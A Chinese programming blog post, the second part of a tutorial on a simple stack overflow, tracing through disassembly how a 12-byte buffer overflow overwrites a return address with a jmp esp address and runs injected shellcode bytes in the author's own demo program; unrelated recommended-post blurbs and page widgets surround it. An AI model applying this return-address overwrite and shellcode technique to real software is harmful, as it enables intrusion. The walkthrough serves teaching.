最简单的一个堆栈溢出攻击实例 (2) [by Progsoft]

Lumerical官方案例、FDTD时域有限差分法仿真学习(十三)——多模干涉耦合器(MMI) 计算通过 1×2 端口多模干涉 (MMI) 耦合器的宽带传输和光损耗。 使用设备 S 参数在 INTERCONNECT 中创建 MMI 的紧凑模型。 它还展示了如何使用 CML 编译器提取这些参数以生成紧凑模型。 一、概述 了解模拟工作流程和关键结果 低损耗光合路器和分路器是基于 Mach-Zehnder 的光调制器的基本组件,并且是集成电路的关键组成部分。通过在输入/输出波导处使用线性锥形确保输入/输出波导的模式与干涉区域之间的 阅读详情

下面我们以Release版本为例,解剖程序。

将exe反汇编得到关键代码如下:

函数ShowComputerName: 

  00401030: 8B 4C 24 04        mov         ecx,dword ptr [esp+4]
  
00401034: 83
 EC 0C           sub         esp,0Ch
  
00401037: 8D 44 24 00
        lea         eax,[esp]
  0040103B: 
50
                 push        eax
  0040103C: 
51
                 push        ecx
  0040103D: E8 BE FF FF FF     call        
00401000

  
00401042: 83 C4 14           add         esp,14h
  
00401045: C3                 ret

 主函数main:

  00401080: 68 30 50 40 00     push        405030h
  
00401085: E8 A6 FF FF FF     call        00401030
  0040108A: 83 C4 04           add         esp,4

 我们知道函数调用是采用堆栈方式,那么CPU是怎么工作的呢?

在WindowsXP/2000操作系统下,通过大量的汇编代码我们可以看到,函数调用的参数传递是采用堆栈进行。

何故?

原因是我们使用的个人计算机一般都是采用x86系列CPU,由于可用通用寄存器非常少的缘故,只能采用堆栈进行。而作者工作使用的PowerPC系列CPU,由于有32个通用寄存器,所以函数调用的参数都采用寄存器R3、R4……来完成。据说苹果机采用PowerPC应该就属于按照寄存器传递的方式,但作者没有苹果机,有大家可以自己看看。

下面还是回归正题,这个代码怎么跑呢?

 假定代码运行到00401080处,ESP指针为00130000

那么堆栈将如何发展呢?

|          …………             |  低地址
+------------------------------+ 
|                              | 
+------------------------------+  高地址 ESP 00130000

完成push 405030h后,405030h被压栈,ESP指针上移。

|          …………             | 
+------------------------------+  ESP 0012FFFC
|         00405030h            | 
+------------------------------+ 

完成call 00401030后,也就是开始调用函数ShowComputerName。

函数调用后,返回main主函数的 EIP地址0040108A被压栈,同时ESP指针上移。这个压栈数值就是我们要利用的溢出攻击目的。

|          …………             | 
+------------------------------+  ESP 0012FFF8
|         0040108Ah            |
+------------------------------+
|         00405030h            |
+------------------------------+

下面我们就来到溢出函数部分,我们可以知道现在ESP是0012FFF8,所以mov ecx,dword ptr [esp+4]就是将压栈的数组首地址取出来放置到寄存器ecx。

接下来sub esp,0Ch,是预留局部变量pucComputerName的空间,刚好12个字节。ESP上移12个字节,就是pucComputerName首地址。

|          …………             | 
+------------------------------+  ESP 0012FFEC
|       pucComputerName        | 
|           的空间              | 
|                              | 
+------------------------------+ 
|         0040108Ah            |
+------------------------------+
|         00405030h            |
+------------------------------+

再后lea eax,[esp],将esp的值赋值给eax,现在eax指向pucComputerName的首地址,exc指向全局变量g_aucName的首地址

  0040103B: 50                 push        eax
  0040103C: 51                 push        ecx

eax和ecx被压栈给函数GetName调用时候使用,这样栈空间图演变为:

|          …………             | 
+------------------------------+  ESP 0012FFE4
|         00405030h            |
+------------------------------+ 
|         0012FFECh            |
+------------------------------+ 
|       pucComputerName        | 
|           的空间              | 
|                              | 
+------------------------------+ 
|         0040108Ah            |
+------------------------------+
|         00405030h            |
+------------------------------+

接下来调用函数GetName,返回函数ShowComputerName的EIP指针00401042已经被压栈,ESP再次上移,栈空间图演变为:

|          …………             | 
+------------------------------+  ESP 0012FFE0
|         00401042h            |
+------------------------------+ 
|         00405030h            |
+------------------------------+ 
|         0012FFECh            |
+------------------------------+ 
|       pucComputerName        | 
|           的空间              | 
|                              | 
+------------------------------+ 
|         0040108Ah            |
+------------------------------+
|         00405030h            |
+------------------------------+

 接下来在函数GetName就是复制拷贝了,也就是将g_aucName的内容如实全部拷贝到局部变量pucComputerName所在地址,由于局部变量使用的是栈空间,这样我们main函数返回的EIP就被我们无情改写得面目全非了,欺骗了CPU,目的达到。

拷贝完成暂未返回函数ShowComputerName的栈空间状态。

|          …………             | 
+------------------------------+  ESP 0012FFE0
|         00401042h            |
+------------------------------+
|         00405030h            |
+------------------------------+
|         0012FFECh            |
+------------------------------+
|      'H','e','l','l'         |
|      'o','W','o','r'         |
|      'l','d','!','/0'        |
+------------------------------+
|         00401072h            |
+------------------------------+
|    0x6A,0x00,0x68,0x30,      |
+------------------------------+
|    0x50,0x40,0x00,0x68,      |
+------------------------------+
|    0x30,0x50,0x40,0x00,      |
+------------------------------+
|    0x6A,0x00,0xFF,0x15,      |
+------------------------------+
|    0x90,0x40,0x40,0x00,      |
+------------------------------+
|    0x6A,0x00,0xFF,0x15,      |
+------------------------------+
|    0x48,0x40,0x40,0x00,      |
+------------------------------+

由于GetName调用关系的保留的EIP指针和ESP现在指针都未被破坏,因此ret能正常返回,执行过后。

EIP被置为00401042h,ESP下移为0012FFE4

接下来我们要执行00401042所在指令了,也就是add esp,14h,为什么是14h呢,原因是我们不是push了2个函数参数么?此处也需要“弹出”,此处非pop弹出,是编译器优化结果,直接该esp最快、最直接。14h=0Ch+08h

这样我们的ESP指针就下移到0012FFF8,此时你看看此处返回地址是什么?已经被我们改写为jmp esp指令所在地址,这样执行ret后,EIP被置为00401072h,ESP下移为0012FFFC。

EIP即将执行的指令是jmp esp,而ESP 所在地址就是我们溢出攻击指令。下面发生了什么相信大家都明白了,那就是我们攻击自己溢出漏洞的程序部分被激活。

由于时间太晚了,就写到这里了。

编写该攻击程序心得体会,请看下篇。^_^

QT+Halcon实现螺纹检测 工业上要检测螺丝的内外直径、内外牙距、内外角度,现在比较好用的图像处理库,开源的opencv,收费的有halcon。为了实现螺纹检测,和对比螺纹检测拿个库比较好。分别用opencv和halcon实现了螺纹检测,通过对比发现用halcon实现的效果比较。现在用博客把实现过程记录下来: 1、需要检测的螺纹数据如下: 2、为了实现检测螺丝以上数据,螺纹内径、螺纹外径、螺纹外牙距、螺纹... 阅读详情

相关推荐

GD32F450以太网(2-2): PHY芯片IP101GR介绍

IP101是台湾省九阳电子公司生产制造的,符合IEEE 802.3/802.3u标准单端口快速以太网收发器100Mbps和10Mbps操作,它支持自动MDI/MDIX功能,简化网络安装和减少系统维护成本。支持Auto MDI/MDIX已内置4个49.9欧的精密电阻支持中断功能支持 MII/RMII 接口超低功耗

Zhichao_Zhang的博客 1万+

[原理分析]Linux下的栈溢出案例分析-GDB调试操练[1]

本文主要演示linux平台下的栈溢出,首先根据理论对示例代码进行溢出攻击;结果是溢出攻击成立,但是与设想的有差别;然后采用GDB调试工具对发生的意外,进行深入的分析。

bigbug_zju的专栏 9452

嵌入式音频架构 - AudioWeaver 整体概念

AudioWeaver 是DSP Concept公司推出的基于嵌入式平台的音频框架。由AWE Core embedded processing engine 和 Audio Weaver Designer IDE 组成。 Audio Weaver Designer 有三个版本,ST Edition, Standard Edtion 和 Pro Edtion。 Audio Weaver Designer界面: Audio Weaver 的整体使用架构: AWD算法流文件,AWS配置脚本文件,AWB嵌入式b

甲客实验室 6878

【pwn】[ZJCTF 2019]EasyHeap --fastbin攻击,house of spirit

/ 往堆中读入数据。

question55的博客 1187

iPhone用户必看:TrollStore巨魔商店在线安装保姆级教程(iOS 14-16.6.1适用)

本文为iOS 14至16.6.1系统的iPhone用户提供了一份详细的TrollStore(巨魔商店)在线安装教程。文章从核心原理、安装前准备讲起,逐步详解了通过Safari浏览器获取安装器、信任企业证书、部署TrollStore及关键后置配置的全过程,并附带了常见问题排错指南,帮助用户安全、高效地实现无需越狱安装第三方应用。

h0i1j2k3l的博客 1998

统信UOS V20 安装mysql5.7.42详细教程

到bin/下,执行下面的命令,初始化mysql服务信息,得到数据库的初始密码,实际如果目录不一样记得换成自己的目录。下载后通过远程将安装包上传至服务器,我这里将安装包上传至/usr/local/mysql 下。ps:这时候如果还是不能远程访问的话,可能是防火墙的原因,命令行执行以下命令即可。再次登录,发现缺少 libtinfo.so.5文件,再次建立软连接。登录,发现报错,提示缺少libncurses.so.5文件,使用。创建 /var/lib/ 下mysql目录。登录成功,修改密码,设置远程访问。

为谁伫立在风中 1万+

计算机系统基础实验:缓冲区溢出攻击

通过这次实验,学习到了缓冲区溢出的原理和机制,加深了对函数调用规则的理解,也加深了对栈帧结构的理解。课本上大致描述了栈保护机制,通过模拟缓冲区溢出攻击,了解了栈保护机制,也加深了对课本理论知识的理解。把理论付诸实践,提高了自己的动手能力。通过对这些原理的学习,也提醒我以后在自己编写代码的过程中,要避免写出类似的危险代码,避免不必要的损失。同时,我还学习到了程序运行时操作,了解了这种形式的安全性弱点的性质,以后编写代码时也要多加小心。

catting的博客 1万+

【SLAM】探索explore_lite在移动机器人自主建图中的高效边界检测策略

本文深入解析了explore_lite在移动机器人自主建图中的应用,重点探讨了其高效的贪婪边界检测策略。该工具包专为资源受限平台设计,通过直接利用SLAM生成的地图信息,以极低的计算开销实现快速、稳定的未知区域探索,并与move_base导航框架无缝协作,是轻量级机器人自主探索的优选方案。

purple的博客 1067

2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th -- WP [pwn]

WP概述EasyHeaprealNoOutputold_thing总结 概述   前天又参加了一次激动人心的比赛,好吧,确实只能说是激动人心,毕竟没有物质回报,好的名次和中将名额总是和自己无缘。废话不多说,直接看wp。   所有题目和环境都在buuoj上有复现,这里感谢buuoj在我学习ctf过程中提供的做题环境以及时不时搞几场比赛来激励(打击/(ㄒoㄒ)/~~)我努力学习。 EasyHeap   题目是常规的堆题,64位程序,保护全开,漏洞也算明显,当然对strdup函数功能不熟悉的同学可能需要调试后才能

lifanxin的博客 1896

BitLocker磁盘锁定解决方法

摘要:本文介绍了BitLocker加密磁盘被锁的两种情况及解决方法。对于系统盘锁定,建议在微软账户中查找48位恢复密钥;数据盘锁定可尝试密码或恢复密钥解锁。若密钥丢失,可通过IT支持或数据恢复服务尝试解决。预防措施包括妥善备份密钥到微软账户和离线位置,避免随意更改系统硬件配置。BitLocker安全性高,恢复密钥是解锁关键,提醒用户务必做好备份以防数据丢失。(148字)

yueke06442300的专栏 2676

微信小程序 - 获取当前日期时间(函数封装)

效果图 前言 摘自微信小程序demo程序中utils.js方法。 普通newDate()出来的日期时间,并不是我们想要的格式,所以要进行格式整理。 解决方案 打开utils.js文件(随意),复制以下代码: /** *获取当前时间 *@description自定义日期分钟秒数 *@param{Object}date-newData()对象 *@returnString */ functionformatTime(date){ //年月日

🏆 前端领域优质创作者 2843

BUUCTF pwn wp 71 - 75

ciscn_2019_final_3 picoctf_2018_shellcode jarvisoj_level5 npuctf_2020_easyheap hitcontraining_bamboobox

fa1c4的blog 706

【QCA6174】QCA6174 DFS认证的时候会有概率信道不会跳转的情况,通常跳转成功概率只有25%问题分析及解决方案

Master设备需要测试的项目。

wgl307293845的博客 752

最简单的一个堆栈溢出攻击实例 (1) [by Progsoft]

以下列出一个简单的利用自身堆栈溢出漏洞,攻击自己的程序。编译使用环境Windows2000/WindowsXP/VC6.0以下代码直接编译就可以产生简单攻击效果。正常无溢出程序,弹出OK对话框,当然需要你将aucName数组0xFE结束符添加并不使其溢出。溢出Debug版程序,弹出DBG HelloWorld!对话框,选择Debug编译即可。溢出Release程序,弹出HelloW

ProgSoft 3316

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

堆栈溢出的攻击 -fno-stack-protector stack smash 检测

在程序返回的一条语句堆栈项目处,用新函数的起始地址覆盖,将会跳转到执行新函数。现在系统对这个行为做了判断,已经无法实施这类攻击或技巧。

eloudy的专栏 1294

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

buuctf (babyheap_0ctf_2017)([ZJCTF 2019]EasyHeap)初学堆的两道例题

先了解一下chunk的结构size的低三位表示为:这里会用到 PREV_INUSE(P): 表示前一个chunk是否为allocated。P位为1时代表物理相邻的前一个chunk为free状态,此时prev_size代表前一个chunk的大小。非fastbin的chunk在free时会与物理相邻的空闲chunk合并。

cainiao78777的博客 410

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

BUUCTF [ZJCTF 2019]EasyHeap

Partial RELRO 那说明got表可写,可以通过改写got表为想要的函数,堆通常的利用方法 还是老样子,一个堆块管理系统,main函数太长了不放了,就是根据你的输入选择操作 值得一提的是有个这个 这个函数能dedaoflag吗??一会再说,反正system是有了,不用泄露libc了 1.create 可以看到,堆块最多有十个,,还是用了一张表维护着堆块的指针,,这样就让人想把这个...

BengDouLove的博客 3061

buuctf easyheap

主要知识 堆块的结构,fastbin任意地址构造堆块的检查机制, 对题目流程的认真分析 1.检查文件没有地址偏移的保护 2.查看功能。 3.通过堆的溢出生成一块假堆块 4.假堆块可覆盖heaparray[0]为free的got表的地址. 5.通过更改heaparray[0]存的堆块的内容,将free的got覆盖为system的地址。 6.调用free函数并在前面将参数填充为"/bin/sh\x0...

weixin_44932880的博客 626

史上最严重的缓冲区溢出攻击案例剖析

进行开发时,可利用其内置的安全检测功能快速发现潜在风险。平台提供的实时预览和部署环境,能帮助开发者更早暴露类似Code Red的URL处理问题。对于需要持续运行的服务端项目,一键部署后还能模拟真实流量测试抗压能力,避免重蹈Slammer的覆辙。实际体验中发现,这种从编码到上线的全流程验证,确实比传统本地测试更能提前发现安全隐患。本文将通过两个标志性案例,还原攻击过程与技术原理,并总结对现代开发的启示。攻击目标直指IIS服务器的索引服务漏洞,攻击者通过超长URL触发缓冲区溢出,获得系统控制权。

SunstoneLion34的博客 377

【pwn | 堆知识】关于unlink的体会 [ZJCTF EasyHeap]

当进行unlink的时候,正如同它的名字,它是会被从这个链表中取出来的(unlink也就是取消自己的link状态了)主要的思路就是通过创建3个chunk,将第一个chunk通过edit函数来修改chunk内容和下一个chunk的头部,变成一个伪造的空闲chunk,然后free第2个chunk,这会导致第一个chunk被unlink。在我看来,unlink的原理是,当你free了一个chunk的时候,如果你的物理相邻的chunk如果是空闲状态,那么这个空闲的chunk就会被合并,形成一个更大的chunk。

ethan18的博客 486

[ZJCTF 2019]EasyHeap

国际惯例 ida 后门 有cat flag 因为平台是buu所以不考虑能打印flag,别问为什么! add edit del 思路 有堆溢出而且没有PIE,那大概是改写got表了。 WP from pwn import * p = remote('node3.buuoj.cn',28946) elf =ELF('./easyheap') def add(size,content): p.recvuntil('Your choice :') p.sendline('1') p.recv

shidaofu的博客 221

others_easyheap

思路 堆溢出构造堆块重叠打free_hook为system exp: from pwn import * #p=process('./easyheap') elf=ELF('./easyheap') libc=elf.libc p=remote('node3.buuoj.cn',29973) def add(size,content): p.sendlineafter(':','1') p.s...

doudoudedi 511

萌新详解[ZJCTF 2019]EasyHeap,带你走进pwn世界

安全保护 IDA查看 main int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax char buf; // [rsp+0h] [rbp-10h] unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); se

qq_36495104的博客 2246

ZJCTF_2019_EasyHeap做题记录

本文仅用作自己参考

weixin_52111404的博客 832

【pwn】 hitcontrain_bamboobox && ZJCTF_19_EasyHeap

这两个题目类似,放在一起写。 例行检查 没有pie,got表可写。 程序逻辑 edit功能都存在堆溢出,堆指针都保存在bss段上,可以通过unlink对got表进行读写。本来两个程序都存在后门,但是oj在部署的时候路径有点问题,所以就想办法获取shell。 bamboobox存在show功能,可以泄露libc地址。 easyheap刚好程序中存在system函数。 bamboobox from ...

Nothing 671

[BUUCTF]PWN——[ZJCTF 2019]EasyHeap

[ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个选项的函数 add 这边size的大小由我们输入控制,heaparray数组在bss段上存放着我们chunk的指针 edit,简单的根据指针修改对应chunk里的值,但是这里的size也是由我们手动输入的,也就是说只要我们这边输入的size比add的时候输入的size大就会造成溢出 delete,释

mcmuyanga的博客 785
上一篇: 最简单的一个堆栈溢出攻击实例 (1) [by Progsoft]
下一篇: VxWorks操作系统复位实战(二)[by Progsoft]
progsoft
博客等级 码龄23年 8粉丝 21原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值